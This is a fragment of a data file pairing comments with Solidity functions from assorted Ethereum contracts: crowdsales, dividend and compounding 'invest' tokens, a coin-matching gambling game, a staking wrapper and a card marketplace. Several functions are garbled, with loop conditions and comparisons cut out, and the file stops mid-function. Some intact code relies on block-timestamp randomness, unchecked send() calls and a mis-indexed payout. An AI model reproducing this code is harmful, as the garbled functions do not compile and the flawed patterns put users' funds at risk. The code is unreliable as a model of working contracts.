"function_code": "function safeWithdrawal() public afterDeadline {\r\n if (weiRaised < fundingGoal && weiRaised < minimumFundingGoal) {\r\n uint amount = balanceOf[msg.sender];\r\n balanceOf[msg.sender] = 0;\r\n if (amount > 0) {\r\n if (msg.sender.send(amount)) {\r\n FundTransfer(msg.sender, amount, false);\r\n /*tokenReward.burnFrom(msg.sender, price * amount);*/\r\n } else {\r\n balanceOf[msg.sender] = amount;\r\n }\r\n }\r\n }\r\n\r\n if ((weiRaised >= fundingGoal || weiRaised >= minimumFundingGoal) && wallet == msg.sender) {\r\n if (wallet.send(weiRaised)) {\r\n FundTransfer(wallet, weiRaised, false);\r\n GoalReached(wallet, weiRaised);\r\n } else {\r\n //If we fail to send the funds to beneficiary, unlock funders balance\r\n fundingGoalReached = false;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Fuck the transfer fee\r\n * Who needs it\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens)\r\n onlyBagholders()\r\n public\r\n returns(bool)\r\n {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n\r\n // make sure we have the requested tokens\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);\r\n\r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);\r\n\r\n // fire event\r\n emit Transfer(_customerAddress, _toAddress, _amountOfTokens);\r\n\r\n // ERC20\r\n return true;\r\n }", "version": "0.5.15"} {"comment": "//This is where all your gas goes apparently", "function_code": "function sqrt(uint x) internal pure returns (uint y) {\r\n uint z = (x + 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * @dev Transfer tokens and bonus tokens to a specified address\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n * @param _bonus The bonus amount.\r\n */", "function_code": "function transferWithBonuses(address _to, uint256 _value, uint256 _bonus) onlyOwner returns (bool) {\r\n require(_to != address(0));\r\n require(balances[msg.sender] - bonuses[msg.sender] * freezingPercentage / 100 >= _value + _bonus);\r\n bonuses[_to] = bonuses[_to].add(_bonus);\r\n return super.transfer(_to, _value + _bonus);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Buying ethereum for tokens\r\n * @param amount Number of tokens\r\n */", "function_code": "function sell(uint256 amount) external returns (uint256 revenue){\r\n require(balances[msg.sender] - bonuses[msg.sender] * freezingPercentage / 100 >= amount); // Checks if the sender has enough to sell\r\n balances[this] = balances[this].add(amount); // Adds the amount to owner's balance\r\n balances[msg.sender] = balances[msg.sender].sub(amount); // Subtracts the amount from seller's balance\r\n revenue = amount.mul(sellPrice); // Calculate the seller reward\r\n msg.sender.transfer(revenue); // Sends ether to the seller: it's important to do this last to prevent recursion attacks\r\n Transfer(msg.sender, this, amount); // Executes an event reflecting on the change\r\n return revenue; // Ends function and returns\r\n }", "version": "0.4.24"} {"comment": "/** @dev number of complete cycles d/m/w/y */", "function_code": "function countPeriod(address _investor, bytes5 _t) internal view returns (uint256) {\r\n uint256 _period;\r\n uint256 _now = now; // blocking timestamp\r\n if (_t == _td) _period = 1 * _day;\r\n if (_t == _tw) _period = 7 * _day;\r\n if (_t == _tm) _period = 31 * _day;\r\n if (_t == _ty) _period = 365 * _day;\r\n invest storage inv = investInfo[_investor][_t];\r\n if (_now - inv.created < _period) return 0;\r\n return (_now - inv.created)/_period; // get full days\r\n }", "version": "0.4.21"} {"comment": "/** @dev loop 'for' wrapper, where 100,000%, 10^3 decimal */", "function_code": "function loopFor(uint256 _condition, uint256 _data, uint256 _bonus) internal pure returns (uint256 r) {\r\n assembly {\r\n for { let i := 0 } lt(i, _condition) { i := add(i, 1) } {\r\n let m := mul(_data, _bonus)\r\n let d := div(m, 100000)\r\n _data := add(_data, d)\r\n }\r\n r := _data\r\n }\r\n }", "version": "0.4.21"} {"comment": "/** @dev invest box controller */", "function_code": "function rewardController(address _investor, bytes5 _type) internal view returns (uint256) {\r\n\r\n uint256 _period;\r\n uint256 _balance;\r\n uint256 _created;\r\n\r\n invest storage inv = investInfo[msg.sender][_type];\r\n\r\n _period = countPeriod(_investor, _type);\r\n _balance = inv.balance;\r\n _created = inv.created;\r\n\r\n uint256 full_steps;\r\n uint256 last_step;\r\n uint256 _d;\r\n\r\n if(_type == _td) _d = 365;\r\n if(_type == _tw) _d = 54;\r\n if(_type == _tm) _d = 12;\r\n if(_type == _ty) _d = 1;\r\n\r\n full_steps = _period/_d;\r\n last_step = _period - (full_steps * _d);\r\n\r\n for(uint256 i=0; i 0) _balance = compaundIntrest(last_step, _type, _balance, _created);\r\n\r\n return _balance;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev Compaund Intrest realization, return balance + Intrest\r\n @param _period - time interval dependent from invest time\r\n */", "function_code": "function compaundIntrest(uint256 _period, bytes5 _type, uint256 _balance, uint256 _created) internal view returns (uint256) {\r\n uint256 full_steps;\r\n uint256 last_step;\r\n uint256 _d = 100; // safe divider\r\n uint256 _bonus = bonusSystem(_type, _created);\r\n\r\n if (_period>_d) {\r\n full_steps = _period/_d;\r\n last_step = _period - (full_steps * _d);\r\n for(uint256 i=0; i 0) _balance = loopFor(last_step, _balance, _bonus);\r\n } else\r\n if (_period<=_d) {\r\n _balance = loopFor(_period, _balance, _bonus);\r\n }\r\n return _balance;\r\n }", "version": "0.4.21"} {"comment": "/** @dev make invest */", "function_code": "function makeInvest(uint256 _value, bytes5 _interval) internal isMintable {\r\n require(min_invest <= _value && _value <= max_invest); // min max condition\r\n assert(balances[msg.sender] >= _value && balances[this] + _value > balances[this]);\r\n balances[msg.sender] -= _value;\r\n balances[this] += _value;\r\n invest storage inv = investInfo[msg.sender][_interval];\r\n if (inv.exists == false) { // if invest no exists\r\n inv.balance = _value;\r\n inv.created = now;\r\n inv.closed = 0;\r\n emit Transfer(msg.sender, this, _value);\r\n } else\r\n if (inv.exists == true) {\r\n uint256 rew = rewardController(msg.sender, _interval);\r\n inv.balance = _value + rew;\r\n inv.closed = 0;\r\n emit Transfer(0x0, this, rew); // fix rise total supply\r\n }\r\n inv.exists = true;\r\n emit Invested(msg.sender, _value);\r\n if(totalSupply > maxSupply) stopMint(); // stop invest\r\n }", "version": "0.4.21"} {"comment": "/** @dev close invest */", "function_code": "function closeInvest(bytes5 _interval) internal {\r\n uint256 _intrest;\r\n address _to = msg.sender;\r\n uint256 _period = countPeriod(_to, _interval);\r\n invest storage inv = investInfo[_to][_interval];\r\n uint256 _value = inv.balance;\r\n if (_period == 0) {\r\n balances[this] -= _value;\r\n balances[_to] += _value;\r\n emit Transfer(this, _to, _value); // tx of begining balance\r\n emit InvestClosed(_to, _value);\r\n } else\r\n if (_period > 0) {\r\n // Destruction init\r\n balances[this] -= _value;\r\n totalSupply -= _value;\r\n emit Transfer(this, 0x0, _value);\r\n emit Destruction(_value);\r\n // Issue init\r\n _intrest = rewardController(_to, _interval);\r\n if(manager[msg.sender]) {\r\n _intrest = mulsm(divsm(_intrest, 100), 105); // addition 5% bonus for manager\r\n }\r\n issue(_to, _intrest); // tx of %\r\n emit InvestClosed(_to, _intrest);\r\n }\r\n inv.exists = false; // invest inv clear\r\n inv.balance = 0;\r\n inv.closed = now;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev notify owners about their balances was in promo action.\r\n @param _holders addresses of the owners to be notified [\"address_1\", \"address_2\", ..]\r\n */", "function_code": "function airdropper(address [] _holders, uint256 _pay_size) public onlyManager {\r\n if(_pay_size == 0) _pay_size = _paySize; // if empty set default\r\n if(_pay_size < 1 * 1e18) revert(); // limit no less then 1 token\r\n uint256 count = _holders.length;\r\n require(count <= 200);\r\n assert(_pay_size * count <= balanceOf(msg.sender));\r\n for (uint256 i = 0; i < count; i++) {\r\n transfer(_holders [i], _pay_size);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// https://etherscan.io/address/0x7bd29408f11d2bfc23c34f18275bbf23bb716bc7#code", "function_code": "function randomBotIndex() private returns (uint256) {\n uint256 totalSize = N_BOT - numBought();\n uint256 index = uint256(\n keccak256(\n abi.encodePacked(\n nonce,\n msg.sender,\n block.difficulty,\n block.timestamp\n )\n )\n ) % totalSize;\n uint256 value = 0;\n if (indices[index] != 0) {\n value = indices[index];\n } else {\n value = index;\n }\n\n // Move last value to selected position\n if (indices[totalSize - 1] == 0) {\n // Array position not initialized, so use position\n indices[index] = totalSize - 1;\n } else {\n // Array position holds a value so use that\n indices[index] = indices[totalSize - 1];\n }\n nonce++;\n // Don't allow a zero index, start counting at N_PREMINT + 1\n return value + N_PREMINT + 1;\n }", "version": "0.8.9"} {"comment": "// Get the price in wei with early bird discount.", "function_code": "function getPrice() public view returns (uint256) {\n uint256 numMinted = numBought();\n if (numMinted < 1000) {\n return 2 * basePrice;\n } else if (numMinted < 2000) {\n return 5 * basePrice;\n } else if (numMinted < 5000) {\n return 8 * basePrice;\n } else if (numMinted < 7500) {\n return 10 * basePrice;\n } else {\n return 15 * basePrice;\n }\n }", "version": "0.8.9"} {"comment": "// Batch transfer up to 100 tokenIds. Input must be sorted and deduped.", "function_code": "function safeTransferFromBatch(address from, address to, uint256[] memory sortedAndDedupedTokenIds) public nonReentrant {\n uint length = sortedAndDedupedTokenIds.length;\n require(length <= TRANSFER_BATCH_SIZE, \"Exceeded batch size.\");\n uint lastTokenId = 0; \n for (uint i=0; i lastTokenId), \"Token IDs must be sorted and deduped.\");\n lastTokenId = sortedAndDedupedTokenIds[i];\n safeTransferFrom(from, to, sortedAndDedupedTokenIds[i]);\n }\n }", "version": "0.8.9"} {"comment": "// function to temporarily pause token sale if needed", "function_code": "function pauseTokenSale() onlyAdmin public {\r\n // confirm the token sale hasn't already completed\r\n require(tokenSaleHasFinished() == false);\r\n \r\n // confirm the token sale isn't already paused\r\n require(tokenSaleIsPaused == false);\r\n \r\n // pause the sale and note the time of the pause\r\n tokenSaleIsPaused = true;\r\n tokenSalePausedTime = now;\r\n emit SalePaused(\"token sale has been paused\", now);\r\n }", "version": "0.4.24"} {"comment": "// function to resume token sale", "function_code": "function resumeTokenSale() onlyAdmin public {\r\n \r\n // confirm the token sale is currently paused\r\n require(tokenSaleIsPaused == true);\r\n \r\n tokenSaleResumedTime = now;\r\n \r\n // now calculate the difference in time between the pause time\r\n // and the resume time, to establish how long the sale was\r\n // paused for. This time now needs to be added to the closingTime.\r\n \r\n // Note: if the token sale was paused whilst the sale was live and was\r\n // paused before the sale ended, then the value of tokenSalePausedTime\r\n // will always be less than the value of tokenSaleResumedTime\r\n \r\n tokenSalePausedDuration = tokenSaleResumedTime.sub(tokenSalePausedTime);\r\n \r\n // add the total pause time to the closing time.\r\n \r\n closingTime = closingTime.add(tokenSalePausedDuration);\r\n \r\n // extend post ICO countdown for the web-site\r\n postIcoPhaseCountdown = closingTime.add(14 days);\r\n // now resume the token sale\r\n tokenSaleIsPaused = false;\r\n emit SaleResumed(\"token sale has now resumed\", now);\r\n }", "version": "0.4.24"} {"comment": "// ----------------------------------------------------------------------------\n// function for front-end token purchase on our website ***DO NOT OVERRIDE***\n// buyer = Address of the wallet performing the token purchase\n// ----------------------------------------------------------------------------", "function_code": "function buyTokens(address buyer) public payable {\r\n \r\n // check Crowdsale is open (can disable for testing)\r\n require(openingTime <= block.timestamp);\r\n require(block.timestamp < closingTime);\r\n \r\n // minimum purchase of 100 tokens (0.1 eth)\r\n require(msg.value >= minSpend);\r\n \r\n // maximum purchase per transaction to allow broader\r\n // token distribution during tokensale\r\n require(msg.value <= maxSpend);\r\n \r\n // stop sales of tokens if token balance is 0\r\n require(tokenSaleTokenBalance() > 0);\r\n \r\n // stop sales of tokens if Token sale is paused\r\n require(tokenSaleIsPaused == false);\r\n \r\n // log the amount being sent\r\n uint256 weiAmount = msg.value;\r\n preValidatePurchase(buyer, weiAmount);\r\n\r\n // calculate token amount to be sold\r\n uint256 tokens = getTokenAmount(weiAmount);\r\n \r\n // check that the amount of eth being sent by the buyer \r\n // does not exceed the equivalent number of tokens remaining\r\n require(tokens <= tokenSaleTokenBalance());\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n\r\n processPurchase(buyer, tokens);\r\n emit TokenPurchase(\r\n msg.sender,\r\n buyer,\r\n weiAmount,\r\n tokens\r\n );\r\n\r\n updatePurchasingState(buyer, weiAmount);\r\n\r\n forwardFunds();\r\n postValidatePurchase(buyer, weiAmount);\r\n }", "version": "0.4.24"} {"comment": "//Play Function (play by contract function call)", "function_code": "function Play(bool flipped) equalGambleValue onlyActive resolvePendingRound{\r\n if ( index_player_in_round%2==0 ) { //first is matcher\r\n\t matchers.push(Gamble(msg.sender, flipped));\r\n\t}\r\n\telse {\r\n\t contrarians.push(Gamble(msg.sender, flipped));\r\n\t}\r\n index_player+=1;\r\n index_player_in_round+=1;\r\n\ttimes_played_history[msg.sender]+=1;\r\n if (index_player_in_round>=round_min_size && index_player_in_round%2==0) {\r\n\t bool end = randomEnd();\r\n\t\t if (end) {\r\n\t\t pendingRound=true;\r\n\t\t\tblockEndRound=block.number;}\r\n }\r\n }", "version": "0.3.1"} {"comment": "//Function to end Round and pay winners", "function_code": "function endRound() private {\r\n delete results;\r\n uint256 random_start_contrarian = randomGen(index_player,(index_player_in_round)/2)-1;\r\n uint256 payout_total;\r\n for (var k = 0; k < (index_player_in_round)/2; k++) {\r\n uint256 index_contrarian;\r\n\t if (k+random_start_contrarian<(index_player_in_round)/2){\r\n\t index_contrarian=k+random_start_contrarian;\r\n }\r\n\t else{\r\n\t index_contrarian=(k+random_start_contrarian)-(index_player_in_round/2);\r\n\t }\r\n\t uint256 information_cost_matcher = information_cost * k;\r\n\t uint256 payout_matcher = 2*(gamble_value-information_cost_matcher);\r\n\t uint256 information_cost_contrarian = information_cost * index_contrarian;\r\n\t uint256 payout_contrarian = 2*(gamble_value-information_cost_contrarian);\r\n\t results.push(Result(matchers[k].player,matchers[k].flipped,payout_matcher,contrarians[index_contrarian].player,contrarians[index_contrarian].flipped, payout_contrarian));\r\n\t if (matchers[k].flipped == contrarians[index_contrarian].flipped) {\r\n\t matchers[k].player.send(payout_matcher);\r\n\t\tpayout_total+=payout_matcher;\r\n\t\tpayout_history[matchers[k].player]+=payout_matcher;\r\n\t }\r\n\t else {\r\n\t contrarians[index_contrarian].player.send(payout_contrarian);\r\n\t\tpayout_total+=payout_contrarian;\r\n\t\tpayout_history[contrarians[k].player]+=payout_contrarian;\r\n\t }\r\n\t}\r\n index_round_ended+=1;\r\n owner.send(index_player_in_round*gamble_value-payout_total);\r\n\tpayout_total=0;\r\n index_player_in_round=0;\r\n delete matchers;\r\n delete contrarians;\r\n\tpendingRound=false;\r\n\tif (terminate_after_round==true) state=State.Deactivated;\r\n }", "version": "0.3.1"} {"comment": "//Full Refund of Current Round (if needed)", "function_code": "function refundRound() \r\n onlyActive\r\n onlyOwner noEthSent{ \r\n uint totalRefund;\r\n\tuint balanceBeforeRefund=this.balance;\r\n for (var k = 0; k< matchers.length; k++) {\r\n\t matchers[k].player.send(gamble_value);\r\n\t\t totalRefund+=gamble_value;\r\n }\r\n for (var j = 0; j< contrarians.length ; j++) {\t\r\n\t contrarians[j].player.send(gamble_value);\r\n\t\t totalRefund+=gamble_value;\t\t \r\n }\r\n\tdelete matchers;\r\n\tdelete contrarians;\r\n\tstate=State.Deactivated;\r\n\tindex_player_in_round=0;\r\n uint balanceLeft = balanceBeforeRefund-totalRefund;\r\n\tif (balanceLeft >0) owner.send(balanceLeft);\r\n }", "version": "0.3.1"} {"comment": "//Function to change game settings (within limits)\n//(to adapt to community feedback, popularity)", "function_code": "function config(uint new_max_round, uint new_min_round, uint new_information_cost, uint new_gamble_value)\r\n\t onlyOwner\r\n\t onlyInactive noEthSent{\r\n\t if (new_max_round new_gamble_value/100) throw;\r\n\t round_max_size = new_max_round;\r\n\t round_min_size = new_min_round;\r\n\t information_cost= new_information_cost;\r\n\t gamble_value = new_gamble_value;\r\n }", "version": "0.3.1"} {"comment": "//JSON GLOBAL STATS", "function_code": "function gameStats() noEthSent constant returns (uint number_of_player_in_round, uint total_number_of_player, uint number_of_round_ended, bool pending_round_to_resolve, uint block_end_last_round, uint block_last_player, State state, bool pause_contract_after_round)\r\n {\r\n number_of_player_in_round = index_player_in_round;\r\n\t total_number_of_player = index_player;\r\n\t number_of_round_ended = index_round_ended;\r\n\t pending_round_to_resolve = pendingRound;\r\n\t block_end_last_round = blockEndRound;\r\n\t block_last_player = blockLastPlayer;\r\n\t state = state;\r\n\t pause_contract_after_round = terminate_after_round;\r\n }", "version": "0.3.1"} {"comment": "//JSON LAST ROUND RESULT", "function_code": "function getLastRoundResults_by_index(uint _index) noEthSent constant returns (address _address_matcher, address _address_contrarian, bool _flipped_matcher, bool _flipped_contrarian, uint _payout_matcher, uint _payout_contrarian) {\r\n _address_matcher=results[_index].player_matcher;\r\n _address_contrarian=results[_index].player_contrarian;\r\n\t_flipped_matcher = results[_index].flipped_matcher;\r\n\t_flipped_contrarian = results[_index].flipped_contrarian;\r\n\t_payout_matcher = results[_index].payout_matcher;\r\n\t_payout_contrarian = results[_index].payout_contrarian;\r\n }", "version": "0.3.1"} {"comment": "//Receive eth and issue tokens at a given rate per token.\n//Contest ends at finishTime and will not except eth after that date.", "function_code": "function buyTokens() public nonReentrant payable atState(ContestStates.IN_PROGRESS) {\r\n require(msg.value > 0, \"Cannot buy tokens with zero ETH\");\r\n require(token.isMinter(address(this)), \"Contest contract MUST became a minter of token before token sale\");\r\n uint256 weiAmount = msg.value;\r\n uint256 tokens = weiAmount.div(rate);\r\n weiRaised = weiRaised.add(weiAmount);\r\n token.mint(msg.sender, tokens);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev After burning hook, it will be called during withdrawal process.\r\n * It will withdraw collateral from strategy and transfer it to user.\r\n */", "function_code": "function _afterBurning(uint256 _amount) internal override {\r\n uint256 balanceHere = tokensHere();\r\n if (balanceHere < _amount) {\r\n _withdrawCollateral(_amount.sub(balanceHere));\r\n balanceHere = tokensHere();\r\n _amount = balanceHere < _amount ? balanceHere : _amount;\r\n }\r\n token.safeTransfer(_msgSender(), _amount);\r\n }", "version": "0.6.12"} {"comment": "// eip-1167 - see https://eips.ethereum.org/EIPS/eip-1167", "function_code": "function createClone(address target) internal returns (address result) {\r\n bytes20 targetBytes = bytes20(target);\r\n assembly {\r\n let clone := mload(0x40)\r\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\r\n mstore(add(clone, 0x14), targetBytes)\r\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\r\n result := create(0, clone, 0x37)\r\n }\r\n }", "version": "0.8.1"} {"comment": "/// @notice Set a new staking pool address and migrate funds there\n/// @param _pools The new pool address\n/// @param _poolId The new pool id", "function_code": "function migrateSource(address _pools, uint _poolId) external onlyOwner {\n // Withdraw ALCX\n bumpExchangeRate();\n\n uint poolBalance = pools.getStakeTotalDeposited(address(this), poolId);\n pools.withdraw(poolId, poolBalance);\n // Update staking pool address and id\n pools = IALCXSource(_pools);\n poolId = _poolId;\n // Deposit ALCX\n uint balance = alcx.balanceOf(address(this));\n reApprove();\n pools.deposit(poolId, balance);\n }", "version": "0.8.11"} {"comment": "/// @notice Claim and autocompound rewards", "function_code": "function bumpExchangeRate() public {\n // Claim from pool\n pools.claim(poolId);\n // Bump exchange rate\n uint balance = alcx.balanceOf(address(this));\n\n if (balance > 0) {\n exchangeRate += (balance * exchangeRatePrecision) / totalSupply;\n emit ExchangeRateChange(exchangeRate);\n // Restake\n pools.deposit(poolId, balance);\n }\n }", "version": "0.8.11"} {"comment": "/// @notice Deposit new funds into the staking pool\n/// @param amount The amount of ALCX to deposit", "function_code": "function stake(uint amount) external {\n // Get current exchange rate between ALCX and gALCX\n bumpExchangeRate();\n // Then receive new deposits\n bool success = alcx.transferFrom(msg.sender, address(this), amount);\n require(success, \"Transfer failed\");\n pools.deposit(poolId, amount);\n // gAmount always <= amount\n uint gAmount = amount * exchangeRatePrecision / exchangeRate;\n _mint(msg.sender, gAmount);\n emit Stake(msg.sender, gAmount, amount);\n }", "version": "0.8.11"} {"comment": "/// @notice Withdraw funds from the staking pool\n/// @param gAmount the amount of gALCX to withdraw", "function_code": "function unstake(uint gAmount) external {\n bumpExchangeRate();\n uint amount = gAmount * exchangeRate / exchangeRatePrecision;\n _burn(msg.sender, gAmount);\n // Withdraw ALCX and send to user\n pools.withdraw(poolId, amount);\n bool success = alcx.transfer(msg.sender, amount); // Should return true or revert, but doesn't hurt\n require(success, \"Transfer failed\"); \n emit Unstake(msg.sender, gAmount, amount);\n }", "version": "0.8.11"} {"comment": "/**\r\n * Update block durations for various types of visits\r\n */", "function_code": "function changeVisitLengths(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {\r\n visitLength[uint8(VisitType.Spa)] = _spa;\r\n visitLength[uint8(VisitType.Afternoon)] = _afternoon;\r\n visitLength[uint8(VisitType.Day)] = _day;\r\n visitLength[uint8(VisitType.Overnight)] = _overnight;\r\n visitLength[uint8(VisitType.Week)] = _week;\r\n visitLength[uint8(VisitType.Extended)] = _extended;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Update ether costs for various types of visits\r\n */", "function_code": "function changeVisitCosts(uint _spa, uint _afternoon, uint _day, uint _overnight, uint _week, uint _extended) onlyOwner {\r\n visitCost[uint8(VisitType.Spa)] = _spa;\r\n visitCost[uint8(VisitType.Afternoon)] = _afternoon;\r\n visitCost[uint8(VisitType.Day)] = _day;\r\n visitCost[uint8(VisitType.Overnight)] = _overnight;\r\n visitCost[uint8(VisitType.Week)] = _week;\r\n visitCost[uint8(VisitType.Extended)] = _extended;\r\n }", "version": "0.4.15"} {"comment": "//_arr1:tokenGive,tokenGet,maker,taker\n//_arr2:amountGive,amountGet,amountGetTrade,expireTime\n//_arr3:rMaker,sMaker,rTaker,sTaker\n//parameters are from taker's perspective", "function_code": "function trade(address[] _arr1, uint256[] _arr2, uint8 _vMaker,uint8 _vTaker, bytes32[] _arr3) public {\r\n\r\n\t\trequire(isLegacy== false&& now <= _arr2[3]);\r\n\r\n\r\n\r\n\t\tuint256 _amountTokenGiveTrade= _arr2[0].mul(_arr2[2]).div(_arr2[1]);\r\n\r\n\t\trequire(_arr2[2]<= IBalance(contractBalance).getAvailableBalance(_arr1[1], _arr1[2])&&_amountTokenGiveTrade<= IBalance(contractBalance).getAvailableBalance(_arr1[0], _arr1[3]));\r\n\r\n\r\n\r\n\t\tbytes32 _hash = keccak256(abi.encodePacked(this, _arr1[1], _arr1[0], _arr2[1], _arr2[0], _arr2[3]));\r\n\r\n\t\trequire(ecrecover(_hash, _vMaker, _arr3[0], _arr3[1]) == _arr1[2]\r\n\r\n\t\t\t&& ecrecover(keccak256(abi.encodePacked(this, _arr1[0], _arr1[1], _arr2[0], _arr2[1], _arr2[2], _arr1[2], _arr2[3])), _vTaker, _arr3[2], _arr3[3]) == _arr1[3]\r\n\r\n\t\t\t&& account2Order2TradeAmount[_arr1[2]][_hash].add(_arr2[2])<= _arr2[1]);\r\n\r\n\r\n\r\n\t\tuint256 _commission= _arr2[2].mul(commissionRatio).div(10000);\r\n\r\n\t\t\r\n\r\n\t\tIBalance(contractBalance).modifyBalance(_arr1[3], _arr1[1], _arr2[2].sub(_commission), true);\r\n\r\n\t\tIBalance(contractBalance).modifyBalance(_arr1[2], _arr1[1], _arr2[2], false); \r\n\r\n\t\t\r\n\r\n\t\tIBalance(contractBalance).modifyBalance(_arr1[3], _arr1[0], _amountTokenGiveTrade, false);\r\n\r\n\t\tIBalance(contractBalance).modifyBalance(_arr1[2], _arr1[0], _amountTokenGiveTrade, true);\r\n\r\n\t\taccount2Order2TradeAmount[_arr1[2]][_hash]= account2Order2TradeAmount[_arr1[2]][_hash].add(_arr2[2]);\r\n\r\n\t\t\t\t\t\t\r\n\r\n\t\tif(_arr1[1]== address(0)) {\r\n\r\n\t\t\tIBalance(contractBalance).distributeEthProfit(_arr1[3], _commission);\r\n\r\n\t\t}\r\n\r\n\t\telse {\r\n\r\n\t\t\tIBalance(contractBalance).distributeTokenProfit(_arr1[3], _arr1[1], _commission);\r\n\r\n\t\t}\r\n\r\n\r\n\r\n\t\temit OnTrade(_arr1[0], _arr1[1], _arr1[2], _arr1[3], _arr2[0], _arr2[1], _arr2[2], now);\r\n\r\n\t}", "version": "0.4.24"} {"comment": "// NOTE: Only allows 1 active sale per address per sig, unless owner", "function_code": "function postSale(address seller, bytes32 sig, uint256 price) internal {\r\n SaleListLib.addSale(_sigToSortedSales[sig], seller, price);\r\n _addressToSigToSalePrice[seller][sig] = price;\r\n\r\n sigToNumSales[sig] = sigToNumSales[sig].add(1);\r\n\r\n if (seller == owner) {\r\n _ownerSigToNumSales[sig] = _ownerSigToNumSales[sig].add(1);\r\n }\r\n\r\n emit SalePosted(seller, sig, price);\r\n }", "version": "0.4.23"} {"comment": "// NOTE: Special remove logic for contract owner's sale!", "function_code": "function cancelSale(address seller, bytes32 sig) internal {\r\n if (seller == owner) {\r\n _ownerSigToNumSales[sig] = _ownerSigToNumSales[sig].sub(1);\r\n\r\n if (_ownerSigToNumSales[sig] == 0) {\r\n SaleListLib.removeSale(_sigToSortedSales[sig], seller);\r\n _addressToSigToSalePrice[seller][sig] = 0;\r\n }\r\n } else {\r\n SaleListLib.removeSale(_sigToSortedSales[sig], seller);\r\n _addressToSigToSalePrice[seller][sig] = 0;\r\n }\r\n sigToNumSales[sig] = sigToNumSales[sig].sub(1);\r\n\r\n emit SaleCancelled(seller, sig);\r\n }", "version": "0.4.23"} {"comment": "// Used to set initial shareholders", "function_code": "function addShareholderAddress(address newShareholder) external onlyOwner {\r\n // Don't let shareholder be address(0)\r\n require(newShareholder != address(0));\r\n\r\n // Contract owner can't be a shareholder\r\n require(newShareholder != owner);\r\n\r\n // Must be an open shareholder spot!\r\n require(shareholder1 == address(0) || shareholder2 == address(0) || shareholder3 == address(0));\r\n\r\n if (shareholder1 == address(0)) {\r\n shareholder1 = newShareholder;\r\n numShareholders = numShareholders.add(1);\r\n } else if (shareholder2 == address(0)) {\r\n shareholder2 = newShareholder;\r\n numShareholders = numShareholders.add(1);\r\n } else if (shareholder3 == address(0)) {\r\n shareholder3 = newShareholder;\r\n numShareholders = numShareholders.add(1);\r\n }\r\n }", "version": "0.4.23"} {"comment": "// Splits the amount specified among shareholders equally", "function_code": "function payShareholders(uint256 amount) internal {\r\n // If no shareholders, shareholder fees will be held in contract to be withdrawable by owner\r\n if (numShareholders > 0) {\r\n uint256 perShareholderFee = amount.div(numShareholders);\r\n\r\n if (shareholder1 != address(0)) {\r\n asyncSend(shareholder1, perShareholderFee);\r\n }\r\n\r\n if (shareholder2 != address(0)) {\r\n asyncSend(shareholder2, perShareholderFee);\r\n }\r\n\r\n if (shareholder3 != address(0)) {\r\n asyncSend(shareholder3, perShareholderFee);\r\n }\r\n }\r\n }", "version": "0.4.23"} {"comment": "// If card is held by contract owner, split among artist + shareholders", "function_code": "function paySellerFee(bytes32 sig, address seller, uint256 sellerProfit) private {\r\n if (seller == owner) {\r\n address artist = getArtist(sig);\r\n uint256 artistFee = computeArtistGenesisSaleFee(sig, sellerProfit);\r\n asyncSend(artist, artistFee);\r\n\r\n payShareholders(sellerProfit.sub(artistFee));\r\n } else {\r\n asyncSend(seller, sellerProfit);\r\n }\r\n }", "version": "0.4.23"} {"comment": "// Handle wallet debit if necessary, pay out fees, pay out seller profit, cancel sale, transfer card", "function_code": "function buy(bytes32 sig) external payable {\r\n address seller;\r\n uint256 price;\r\n (seller, price) = getBestSale(sig);\r\n\r\n // There must be a valid sale for the card\r\n require(price > 0 && seller != address(0));\r\n\r\n // Buyer must have enough Eth via wallet and payment to cover posted price\r\n uint256 availableEth = msg.value.add(payments[msg.sender]);\r\n require(availableEth >= price);\r\n\r\n // Debit wallet if msg doesn't have enough value to cover price\r\n if (msg.value < price) {\r\n asyncDebit(msg.sender, price.sub(msg.value));\r\n }\r\n\r\n // Split out fees + seller profit\r\n uint256 txFee = computeTxFee(price);\r\n uint256 sellerProfit = price.sub(txFee);\r\n\r\n // Pay out seller (special logic for seller == owner)\r\n paySellerFee(sig, seller, sellerProfit);\r\n\r\n // Pay out tx fees\r\n payTxFees(sig, txFee);\r\n\r\n // Cancel sale\r\n cancelSale(seller, sig);\r\n\r\n // Transfer single sig ownership in registry\r\n registryTransfer(seller, msg.sender, sig, 1);\r\n }", "version": "0.4.23"} {"comment": "// Can also be used in airdrops, etc.", "function_code": "function transferSig(bytes32 sig, uint256 count, address newOwner) external {\r\n uint256 numOwned = getNumSigsOwned(sig);\r\n\r\n // Can't transfer cards you don't own\r\n require(numOwned >= count);\r\n\r\n // If transferring from contract owner, cancel the proper number of sales if necessary\r\n if (msg.sender == owner) {\r\n uint256 remaining = numOwned.sub(count);\r\n\r\n if (remaining < _ownerSigToNumSales[sig]) {\r\n uint256 numSalesToCancel = _ownerSigToNumSales[sig].sub(remaining);\r\n\r\n for (uint256 i = 0; i < numSalesToCancel; i++) {\r\n removeSale(sig);\r\n }\r\n }\r\n } else {\r\n // Remove existing sale if transferring all owned 